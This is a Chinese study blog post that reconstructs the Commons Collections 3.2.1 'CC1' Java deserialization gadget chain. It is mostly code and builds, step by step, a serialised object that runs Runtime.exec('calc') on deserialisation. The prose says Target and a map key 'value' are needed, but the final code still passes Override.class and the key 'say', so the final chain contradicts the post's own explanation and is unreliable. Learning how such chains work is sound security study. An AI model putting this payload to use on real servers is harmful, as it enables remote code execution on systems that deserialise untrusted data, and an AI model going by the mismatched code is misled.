CC链学习
CC1
组件介绍
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
环境搭建 需要先配置jdk,jdk<8u71即可,我用的是JDK8u65
因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载后找到压缩包文件加下的sun文件夹
把他移动到/jdk8/src
文件夹
在IDEA里导入
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
打开IDEA 新建一个Maven项目 选择 org.apache.maven.archetypes:maven-archetype-webapp
导入commons collections maven依赖,好好好,搞了半天我这老是报错,原来是缩进问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>untitled</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies> </project>
反序列化调用的基本过程
分析 CC1的入口/源头是Transformer接口中的transform方法(废了老大事了,即便是能搜索前面挨个找加上修环境将近2小时了。。。)
方法一:
方法二:(Ctrl+Alt+F7)
这边来到了InvokerTransformer类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
接收一个方法值,然后进行参数调用
平常调用方法执行命令可以直接
1 2 3 4 5 6 7 8 import java.io.IOException; public class cc1 { public static void main(String[] args) throws Exception { Runtime.getRuntime().exec("calc"); } }
普通反射调用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException; import java.lang.reflect.Method; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Runtime runtime = Runtime.getRuntime(); Class c = Runtime.class; Method exec =c.getMethod("exec",String.class); exec.invoke(runtime,"calc"); } }
如果我们利用transform方法呢,先看一下transform的方法使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import org.apache.commons.collections.functors.InvokerTransformer; import java.io.IOException; import java.lang.reflect.Method; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Runtime runtime = Runtime.getRuntime(); // Class c = Runtime.class; // Method exec =c.getMethod("exec",String.class); // exec.invoke(runtime,"calc"); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); } }
现在我们知道了InvokerTransformer
类可以调用transform()
方法执行命令,接下来顺着思路就需要去寻找一下哪里调用了InvokerTransform的transform方法
这里我们找到了TransformedMap类(这里利用transform的方法多好下手,3个map类大概都可以,小白,不太理解)
看看TransformedMap类的checkSetValue函数
看该函数调用了valuetransformer,去看看valuetransformer
我们要执行命令,自然要可控的参数又是protect,自然要在内部寻找,找到掉头Valuetransformer的类
我们再看看是谁调用了TransformedMap
类的构造函数。
找到decorate
方法
它接受一个Map对象以及两个Transformer对象作为参数,并返回一个装饰后的Map对象。这个方法的作用是对原始Map对象进行转换,然后返回一个新的装饰后的Map对象。
AbstractInputCheckedMapDecorator
类中的MapEntry
类的setValue()
方法 调用了 TransformedMap
类中的checkSetValue()
方法
而且我们可以看到AbstractInputCheckedMapDecorator
类其实上是Transformedmap
的父类。
加上TransformedMap
类 和 AbstractInputCheckedMapDecorator
类中的MapEntry
类 后,我们尝试用代码实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Runtime runtime = Runtime.getRuntime(); // Class c = Runtime.class; // Method exec =c.getMethod("exec",String.class); // exec.invoke(runtime,"calc"); //原版 // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map= new HashMap<>(); map.put("say","b链子好难"); //TransformedMap.decorate方法调用TransformedMap的构造方法 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer); //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法 for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); } //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value) //相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。 } }
咱们继续看看是哪个类调用了setValue方法,找到了``AnnotationInvocationHandler`
不得不说这是在是太妙了,该方法还直接在readObject下
但是该类没有public声明,只能在包内使用,我们要想调用他需要利用到反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Runtime runtime = Runtime.getRuntime(); // Class c = Runtime.class; // Method exec =c.getMethod("exec",String.class); // exec.invoke(runtime,"calc"); //原版 // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map= new HashMap<>(); map.put("say","b链子好难"); //TransformedMap.decorate方法调用TransformedMap的构造方法 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,InvokerTransformer); //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法 for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); } //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value) //相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。 Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap); serialize(o); //序列化 unserialize("ser.bin"); //反序列化 } //序列化方法 public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } //反序列化方法 public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }
问题解决 有几个问题
第一个,``AnnotationInvocationHandler中
readObject`调用的setValue()参数不可控
第二个,AnnotationInvocationHandler
类的readObject()
方法 要是想调用setValue()
方法,得绕过两个if判断。
第三个,Runtime类没有继承Serializable
接口,不可以被序列化
我们先看问题3
Runtime不能被反序列化,但是Class可以被序列化
哈哈哈又是反射
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class main { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Class clazz = Runtime.class; Method getRuntimeMethod = clazz.getMethod("getRuntime", null); Runtime cmd = (Runtime) getRuntimeMethod.invoke(null, null); Method cmdMethod = clazz.getMethod("exec", String.class); cmdMethod.invoke(cmd, "calc"); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); Transformer[] transformers; transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> map= new HashMap<>(); map.put("say","b链子好难"); //TransformedMap.decorate方法调用TransformedMap的构造方法 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap); serialize(o); //序列化 unserialize("ser.bin"); //反序列化 // } } //序列化方法 public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } //反序列化方法 public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }
我们调试一下,会发现到第一个if判断时,条件是memberType != null
。目前我们的memberType
是空(null)。第一个if就过不去。
仔细审计源码后发现,memberType
是获取注解中成员变量 的名称,然后并且检查HashMap
键值对中键名是否是对应的名称。注解类(Target或者Override)
里解释为什么前文注解类我们使用Target
而不是Override
。因为Override
没有成员变量,而Target
有成员变量名称是value
。
最后调试一遍能过第一个判断
第二个if判断能不能强转,我们传的肯定强转不了,就一定能过。
最后我们来解决我们的问题1 :AnnotationInvocationHandler
类的readObject()
方法调用 的setValue()
方法的参数不可控。
我们的目标是使得setValue()方法的参数是Runtime.class。
聚焦到org.apache.commons.collections.functors包下的ConstantTransformer类。它里面的transform就是返回我们传入的对象,如果我们传入Runtime.class,那返回的也即是Runtime.class。我们可以利用ConstantTransformer类解决问题1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args) throws Exception { // Runtime.getRuntime().exec("calc"); Method getRuntimeMethod=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); Transformer[] transformers; transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); // Class c = Runtime.class; // Runtime r=(Runtime) getRuntimeMethod.invoke(null,null); // Method execmethod=c.getMethod("exec",String.class); // execmethod.invoke(r,"calc") // Method exec =c.getMethod("exec",String.class); // exec.invoke(runtime,"calc"); //原版 // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); // InvokerTransformer InvokerTransformer= new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> map= new HashMap<>(); map.put("say","b链子好难"); //TransformedMap.decorate方法调用TransformedMap的构造方法 Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); //构造方法把invoker实例赋值给TransformedMap.valueTransformer属性。 //AbstractInputCheckedMapDecorator类中的MapEntry类的setValue()方法(作用是遍历map) 调用了 TransformedMap类中的checkSetValue()方法 // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(runtime); // } // //TransformedMap类中的checkSetValue()方法调用了TransformedMap.valueTransformer.transform(value) // //相当于invoker.transform(value),value就是上面entry.setValue(runtime)方法的参数runtime。 Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o=annotationInvocationhdlConstructor.newInstance(Override.class,transformedMap); serialize(o); //序列化 unserialize("ser.bin"); //反序列化 // } } //序列化方法 public static void serialize(Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } //反序列化方法 public static void unserialize(String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } }